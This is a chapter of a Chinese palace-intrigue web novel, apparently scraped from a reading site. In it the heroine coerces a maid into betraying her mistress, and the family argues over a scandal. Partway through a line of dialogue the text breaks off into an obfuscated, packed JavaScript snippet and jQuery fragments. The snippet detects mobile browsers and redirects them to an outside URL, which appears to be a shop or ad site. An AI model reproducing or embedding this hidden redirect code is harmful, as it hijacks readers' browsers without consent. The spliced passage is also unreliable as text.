40. 临阵倒戈

作品:《被夺舍的炮灰嫡长女重生了

    香罗岂能听不出沈银屏言下之意。但她也不敢相信沈银屏会向她道出这般直白的话语,她惊得眼睛瞪大,开口时话声都不自觉地好似质问:“您忽地拉我进来,竟是要我在这个时候背叛我的主子吗?”


    “背叛?何至于到那种程度。”香罗没有当即答应,沈银屏也并不意外,“你不过是听了赵公子的问话,恰好想起,又恰好说出了一个可疑之人的名字而已,何至于到背叛你主子的程度?”


    香罗放在膝上的手攥紧了,她喉头有些干涩,拒绝的话语一旦不是脱口而出,就意味着不再有坚决的本意。


    在她说“可是”之前,沈银屏继续开口:“如果你要替兰湘湘赴此死局,我自然也没有意见。不过显然,我既已知道谁是幕后主使,那无论是哪个丫鬟出来替她受罪,这事也都不会就此翻篇。”


    所以无论是你还是兰湘湘,无论是谁最先受过,都不会改变她对沈眠音进行回击的决定。既然她一句“无心之辞”对局势的走向并不会产生影响,那如何能算是……背叛了主子呢。


    香罗紧紧盯着沈银屏,看着大小姐脸上与她截然相反的,平静自若的神色。


    她缠着嘴唇说不出话,那便是在动摇了。


    而他们的大小姐,又显然是个操纵人心的好手。


    “买通贼人,谋害主子——这已是罪大恶极,而今此事又有端王做定夺,那被推出来的丫鬟,必然免不了死罪。”


    沈银屏说道,不避不让,与香罗对视。


    “你愿为兰湘湘而死,我赞你一句情深意重。”她说道,她很清楚——香罗或许会忠心耿耿到愿为沈眠音而死,但那和为兰湘湘而死,是两码事,何况……


    “只是可惜了你那一对弟弟妹妹,他们年纪还那般小,没了你,怕是难自己活下去了。”


    果然不是单纯的商量或劝告,大小姐敢如此坦然相告,果然是因早准备了恩威并用的手段。


    她没有选择的余地,无论是迫于形势也好,甚至——遵从本心也罢,她只能替大小姐,说出那句将改变局势的无意之言。


    她有些失魂落魄地从马车里退出来时,外边依然隐隐呈现着僵持不下之势。琴晓沐派来接大小姐回府的丫鬟秋荷被站在路中间的二小姐挡着道,而二小姐则用绣帕半掩着面,都好似有些摇摇欲坠:“你,你是说那玷污了我姐姐的贼人,是我们府上的……马夫?”


    她说得好似极为惊愕、惶惶不敢信,然而最后二字却咬得清晰,叫在场所有人都能被明晃晃地再提醒一遍——大小姐被贼人玷污了,这贼人还是个极为低贱的马夫。


    香罗掩在袖子下的手微微收紧,不可回转的话语尚未从口中说出,她就已经开始不敢同主子对视。


    但她此刻心中的恍惚纠结并不能为她主子所知晓。甚至沈银屏见她进了马车却又孤身从马车里出来——像是坐实了她那位往日伶牙俐齿的姐姐如今颜面扫地,连人都不敢见一般,她似乎当即便生出了趁热打铁的念头,主动向香罗开了口:


    “姐姐呢?姐姐如何了?”


    香罗没有让沈眠音的话音落在地上太久,开口时只有最初的几个音节有不明显的哑意:“大小姐她……她说那马夫,背后另有其人。”


    沈眠音面上神情短暂一滞,但下一眨眼又恢复如初。


    南菱走时信誓旦旦保证过,她是没有落下任何能辨出身份的把柄在那张旺手中的。就算赵莫辞他们把张旺抓起来了,就算让张旺当面来辨认人——南菱如今早被她送到乡下去了,那张旺就算把整条青门街的人都看一遍,也找不出买他办事的南菱的。


    想到这些,她一颗心立刻便安定了下来。也不回避,而是好似急切愤愤地皱起眉,道:“竟是如此?那指使他害我姐姐的幕后黑手是谁?”


    “这……大小姐却是未明说的。”香罗说着,只如无意般错开了沈眠音投来的视线,转而看向赵莫辞,唇齿开启时只有刹那的停顿,而后出口的,是沈银屏交代的话语,“但,赵公子应当也是知道的。”


    “是。”赵莫辞瞥了香罗一眼,接过了话头,“我此番送沈姑娘回府,也是为了查明此事,那贼人说,指使他这般做的,正是沈府之中,一个叫兰湘湘的丫头。”


    此言一出,四周顿时落针可闻。好半晌,正被陈绮钰扶着,脸色灰败的沈翊宗缓缓睁大了眼睛,因为震愕,也因为意识到此言背后代表着的、令人震怒的事实,他开口时话声粗沉又急促:


    “你是说,害了我大女儿的人,就在我府中?”


    “沈大老爷息怒。此事虽听上去令人无法相信,但那贼人是受王爷手下严刑拷打过的,此言怕是……不会有假。”


    沈翊宗如何能息得了怒。


    他一共就只有两个嫡出的女儿,二女儿夜会外男,声名狼藉,如今已是板上钉钉地要给人做妾,且不日便将远去京城,天高路远,还能指望得上她什么?


    他这个大女儿,虽然是个与他不亲近的,却也是顶着沈家嫡女的名头的,无论相貌还是才德,都当算是百里——乃至千里挑一。沈银屏已算是到了谈婚论嫁的年纪,但他却是一直将长女的婚事牢牢攥在手心里的,连陈绮钰想帮忙给沈银屏相看人,他都未曾应允过。


    他心中野心勃勃地盘算着要用长女求一门能给他带来足够助力的、向上攀的婚事,可如今,这一切都如以一种如此荒谬的姿态化为泡影,且那始作俑者,竟还是府中的“自己人”!


    沈翊宗几乎气急攻心,若非有陈绮钰搀扶,他只怕要捂着胸口从台阶上倒下来。但此刻他又怎可能当作无事发生一般转头回府里休息?


    他粗喘了好几声,而在平复呼吸的时间里,他脑中逐一闪过了家中这些人的面庞。满腹疑云无处可泄,他蓦地抬眸,于在场的这些沈家人脸上扫过,声音里压制着被挑战了权威,被毁坏了筹划的怒火:


    “兰湘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426368|198437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湘,是谁的丫鬟?”


    在场之人谁脸上不是一副不可置信的愕然表情,好不容易从震惊中回过神来,听到他饱含怒意的质问,自然又是谁都不想来触这个霉头。只能由陈绮钰在抿着嘴唇、不自觉地颦着眉的少许沉默后,再展开一副惶恐又担忧的神情,答道:“老爷,咱们沈府上下,根本就没有叫兰湘湘的丫鬟啊!”


    “废话!她买通人来陷害自家的大小姐,有可能告诉那无耻贼人自己的真名吗!”仿佛终于情绪爆发忍无可忍,沈翊宗一把甩开了陈绮钰的手,怒斥道,“查,给我去查!去查到底是哪个贱婢私下联系过那个马夫!把所有丫鬟都给我叫出来!让那个恶贼一个个认!”


    陈绮钰被沈翊宗推了一把,还被当众下了脸色,即便她道行高深早不喜怒形于色,表情还是难免有些僵硬。


    她不做声,倒是琴晓沐回过了神——知道事情果然印证了她最糟糕的那个猜想,琴晓沐如今反倒冷静了下来,上前一步沉声开口道:“那马夫一面之词,所谓的兰湘湘究竟是否为沈府中人尚不好说,何况既然姓名可以伪装,容貌又何尝不可?再退一步讲,她胆大包天做出这般事,难道不知道藏身以避险吗?”


    见沈翊宗扫来的目光里怒意未消,还分明带上了怀疑,琴晓沐既不慌张也不因此恼怒,开口时声音依然是压着的。长街那头已有行人驻足,好奇探究的目光正往沈家大门前默默扫荡,她知道再这么下去此事必将人尽皆知,眼下她应当以先保全沈银屏声名为重:


    “若此刻就要把那些个丫鬟叫出来挨个审问,不说会惊动府里的老夫人,岂不是要叫四方邻里都来看我们笑话?”


    “银屏所遭遇的事是一定要查清的。”她说道,字句清晰坚决,终于还是打消了沈翊宗眸中的猜忌,“但保全她名节才是当务之急。待事情查清后处理掉那马夫,除了我们,不会再有别人知道这件事。”


    沈翊宗目光一动,暴怒的神色逐渐收敛,显然是认可了琴晓沐如此做法。而下边依然暗中拦着秋荷的沈眠音把两人这一番交谈尽收眼底,表面依然做着惊诧惶惶模样,心中却只觉恍若有火燃烧。


    偏心,她的好叔母,怎么能偏心到这般地步?


    当初月瑶河上,是她叔母将她与端王殿下约会之事撞破,带着那一通人来,让她声名尽毁。可如今相似的事落到沈银屏身上,她叔母却是要捂嘴巴,要杀人灭口,要让此事无从为外人知晓——她怎么能这般偏心!


    指甲攥到肉里,熊熊灼烧的嫉恨让她忘记了她曾经对这位叔母做出的陷害,忘记了过节最开始的由来。她如今只想着一件事——琴晓沐,还有沈翊宗,这些人越想瞒,她偏要在这里,偏要将她姐姐遭遇的丑事传到无人不晓!


    可在她开口之前,先有一道声音,带着一阵疑惑和思索之意,从她身后响起:


    “二夫人所言,倒是让奴婢想起来,这沈府里,今日正走了一个丫鬟……”